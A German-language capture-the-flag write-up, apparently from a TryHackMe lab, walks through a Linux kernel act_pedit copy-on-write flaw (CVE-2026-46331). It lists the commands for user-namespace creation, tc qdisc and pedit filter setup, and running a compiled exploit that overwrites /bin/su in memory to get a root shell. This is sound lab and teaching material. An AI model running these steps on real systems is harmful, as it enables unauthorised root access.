CVE-2026-46331-pedit-cow

Ausarbeitung und Exploitationsschritte für die pedit-COW-Schwachstelle (CVE-2026-46331).

Übersicht

Diese Herausforderung demonstriert pedit COW, einen Linux-Kernel-Fehler in der Paketbearbeitungsaktion (act_pedit) des Traffic-Control-Subsystems. Die Schwachstelle ermöglicht es einem unprivilegierten Benutzer, eine In-Memory-Kopie einer Setuid-Root-Binärdatei zu überschreiben und so effektiv eine Root-Shell zu erhalten, ohne jemals die Datei auf der Festplatte zu berühren.

Exploitationsschritte

1. Ersteinrichtung

Die Umgebung startet als unprivilegierter Benutzer (karen).

id
cd ~/packet_edit_meme
make packet_edit_meme

2. Privilegieneskalation (Namespace-Erstellung) Die Konfiguration des Traffic-Control erfordert normalerweise CAP_NET_ADMIN-Berechtigungen, die einem normalen Benutzer fehlen. Ich habe unprivilegierte Benutzer-Namespaces verwendet, um diese Fähigkeit zu erlangen.

unshare -r -n

3. Konfigurieren der Traffic-Control-Aktion Innerhalb des Namespace habe ich die clsact qdisc konfiguriert und einen Filter angewendet, um die pedit-Aktion auszulösen.

# Clean up any existing configurations if needed

tc qdisc del dev lo clsact

# Setup the qdisc and filter

tc qdisc add dev lo clsact

tc filter add dev lo egress matchall action pedit ex munge ip ttl set 64

5. Ausführen des Exploits Nach dem Einrichten der Umgebung habe ich die Root-Shell verlassen und den Exploit als unprivilegierter Benutzer ausgeführt.

exit
./packet_edit_meme

5. Endergebnis Der Exploit hat erfolgreich den Eintrag für /bin/su überschrieben und eine interaktive Root-Shell bereitgestellt.

# cat /root/flag.txt

THM{YOUR_FLAG_HERE}